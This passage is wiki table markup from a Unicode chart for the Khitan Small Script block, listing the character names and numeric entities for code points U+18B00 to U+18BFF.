|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B00|&amp;#x18b00;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B01|&amp;#x18b01;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B02|&amp;#x18b02;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B03|&amp;#x18b03;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B04|&amp;#x18b04;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B05|&amp;#x18b05;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B06|&amp;#x18b06;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B07|&amp;#x18b07;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B08|&amp;#x18b08;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B09|&amp;#x18b09;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0A|&amp;#x18b0a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0B|&amp;#x18b0b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0C|&amp;#x18b0c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0D|&amp;#x18b0d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0E|&amp;#x18b0e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0F|&amp;#x18b0f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B1x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B10|&amp;#x18b10;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B11|&amp;#x18b11;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B12|&amp;#x18b12;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B13|&amp;#x18b13;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B14|&amp;#x18b14;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B15|&amp;#x18b15;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B16|&amp;#x18b16;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B17|&amp;#x18b17;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B18|&amp;#x18b18;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B19|&amp;#x18b19;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1A|&amp;#x18b1a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1B|&amp;#x18b1b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1C|&amp;#x18b1c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1D|&amp;#x18b1d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1E|&amp;#x18b1e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1F|&amp;#x18b1f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B2x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B20|&amp;#x18b20;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B21|&amp;#x18b21;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B22|&amp;#x18b22;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B23|&amp;#x18b23;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B24|&amp;#x18b24;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B25|&amp;#x18b25;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B26|&amp;#x18b26;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B27|&amp;#x18b27;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B28|&amp;#x18b28;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B29|&amp;#x18b29;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2A|&amp;#x18b2a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2B|&amp;#x18b2b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2C|&amp;#x18b2c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2D|&amp;#x18b2d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2E|&amp;#x18b2e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2F|&amp;#x18b2f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B3x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B30|&amp;#x18b30;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B31|&amp;#x18b31;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B32|&amp;#x18b32;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B33|&amp;#x18b33;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B34|&amp;#x18b34;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B35|&amp;#x18b35;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B36|&amp;#x18b36;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B37|&amp;#x18b37;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B38|&amp;#x18b38;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B39|&amp;#x18b39;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3A|&amp;#x18b3a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3B|&amp;#x18b3b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3C|&amp;#x18b3c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3D|&amp;#x18b3d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3E|&amp;#x18b3e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3F|&amp;#x18b3f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B4x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B40|&amp;#x18b40;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B41|&amp;#x18b41;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B42|&amp;#x18b42;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B43|&amp;#x18b43;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B44|&amp;#x18b44;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B45|&amp;#x18b45;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B46|&amp;#x18b46;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B47|&amp;#x18b47;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B48|&amp;#x18b48;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B49|&amp;#x18b49;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4A|&amp;#x18b4a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4B|&amp;#x18b4b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4C|&amp;#x18b4c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4D|&amp;#x18b4d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4E|&amp;#x18b4e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4F|&amp;#x18b4f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B5x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B50|&amp;#x18b50;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B51|&amp;#x18b51;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B52|&amp;#x18b52;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B53|&amp;#x18b53;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B54|&amp;#x18b54;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B55|&amp;#x18b55;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B56|&amp;#x18b56;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B57|&amp;#x18b57;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B58|&amp;#x18b58;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B59|&amp;#x18b59;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5A|&amp;#x18b5a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5B|&amp;#x18b5b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5C|&amp;#x18b5c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5D|&amp;#x18b5d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5E|&amp;#x18b5e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5F|&amp;#x18b5f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B6x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B60|&amp;#x18b60;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B61|&amp;#x18b61;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B62|&amp;#x18b62;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B63|&amp;#x18b63;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B64|&amp;#x18b64;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B65|&amp;#x18b65;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B66|&amp;#x18b66;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B67|&amp;#x18b67;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B68|&amp;#x18b68;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B69|&amp;#x18b69;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6A|&amp;#x18b6a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6B|&amp;#x18b6b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6C|&amp;#x18b6c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6D|&amp;#x18b6d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6E|&amp;#x18b6e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6F|&amp;#x18b6f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B7x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B70|&amp;#x18b70;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B71|&amp;#x18b71;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B72|&amp;#x18b72;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B73|&amp;#x18b73;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B74|&amp;#x18b74;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B75|&amp;#x18b75;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B76|&amp;#x18b76;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B77|&amp;#x18b77;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B78|&amp;#x18b78;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B79|&amp;#x18b79;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7A|&amp;#x18b7a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7B|&amp;#x18b7b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7C|&amp;#x18b7c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7D|&amp;#x18b7d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7E|&amp;#x18b7e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7F|&amp;#x18b7f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B8x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B80|&amp;#x18b80;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B81|&amp;#x18b81;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B82|&amp;#x18b82;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B83|&amp;#x18b83;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B84|&amp;#x18b84;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B85|&amp;#x18b85;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B86|&amp;#x18b86;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B87|&amp;#x18b87;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B88|&amp;#x18b88;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B89|&amp;#x18b89;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8A|&amp;#x18b8a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8B|&amp;#x18b8b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8C|&amp;#x18b8c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8D|&amp;#x18b8d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8E|&amp;#x18b8e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8F|&amp;#x18b8f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B9x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B90|&amp;#x18b90;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B91|&amp;#x18b91;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B92|&amp;#x18b92;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B93|&amp;#x18b93;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B94|&amp;#x18b94;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B95|&amp;#x18b95;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B96|&amp;#x18b96;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B97|&amp;#x18b97;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B98|&amp;#x18b98;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B99|&amp;#x18b99;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9A|&amp;#x18b9a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9B|&amp;#x18b9b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9C|&amp;#x18b9c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9D|&amp;#x18b9d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9E|&amp;#x18b9e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9F|&amp;#x18b9f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BAx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA0|&amp;#x18ba0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA1|&amp;#x18ba1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA2|&amp;#x18ba2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA3|&amp;#x18ba3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA4|&amp;#x18ba4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA5|&amp;#x18ba5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA6|&amp;#x18ba6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA7|&amp;#x18ba7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA8|&amp;#x18ba8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA9|&amp;#x18ba9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAA|&amp;#x18baa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAB|&amp;#x18bab;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAC|&amp;#x18bac;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAD|&amp;#x18bad;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAE|&amp;#x18bae;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAF|&amp;#x18baf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BBx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB0|&amp;#x18bb0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB1|&amp;#x18bb1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB2|&amp;#x18bb2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB3|&amp;#x18bb3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB4|&amp;#x18bb4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB5|&amp;#x18bb5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB6|&amp;#x18bb6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB7|&amp;#x18bb7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB8|&amp;#x18bb8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB9|&amp;#x18bb9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBA|&amp;#x18bba;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBB|&amp;#x18bbb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBC|&amp;#x18bbc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBD|&amp;#x18bbd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBE|&amp;#x18bbe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBF|&amp;#x18bbf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BCx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC0|&amp;#x18bc0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC1|&amp;#x18bc1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC2|&amp;#x18bc2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC3|&amp;#x18bc3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC4|&amp;#x18bc4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC5|&amp;#x18bc5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC6|&amp;#x18bc6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC7|&amp;#x18bc7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC8|&amp;#x18bc8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC9|&amp;#x18bc9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCA|&amp;#x18bca;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCB|&amp;#x18bcb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCC|&amp;#x18bcc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCD|&amp;#x18bcd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCE|&amp;#x18bce;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCF|&amp;#x18bcf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BDx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD0|&amp;#x18bd0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD1|&amp;#x18bd1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD2|&amp;#x18bd2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD3|&amp;#x18bd3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD4|&amp;#x18bd4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD5|&amp;#x18bd5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD6|&amp;#x18bd6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD7|&amp;#x18bd7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD8|&amp;#x18bd8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD9|&amp;#x18bd9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDA|&amp;#x18bda;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDB|&amp;#x18bdb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDC|&amp;#x18bdc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDD|&amp;#x18bdd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDE|&amp;#x18bde;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDF|&amp;#x18bdf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BEx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE0|&amp;#x18be0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE1|&amp;#x18be1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE2|&amp;#x18be2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE3|&amp;#x18be3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE4|&amp;#x18be4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE5|&amp;#x18be5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE6|&amp;#x18be6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE7|&amp;#x18be7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE8|&amp;#x18be8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE9|&amp;#x18be9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEA|&amp;#x18bea;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEB|&amp;#x18beb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEC|&amp;#x18bec;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BED|&amp;#x18bed;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEE|&amp;#x18bee;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEF|&amp;#x18bef;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BFx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF0|&amp;#x18bf0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF1|&amp;#x18bf1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF2|&amp;#x18bf2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF3|&amp;#x18bf3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF4|&amp;#x18bf4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF5|&amp;#x18bf5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF6|&amp;#x18bf6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF7|&amp;#x18bf7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF8|&amp;#x18bf8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF9|&amp;#x18bf9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFA|&amp;#x18bfa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFB|&amp;#x18bfb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFC|&amp;#x18bfc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFD|&amp;#x18bfd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFE|&amp;#x18bfe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFF|&amp;#x18bff;}}
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C0x
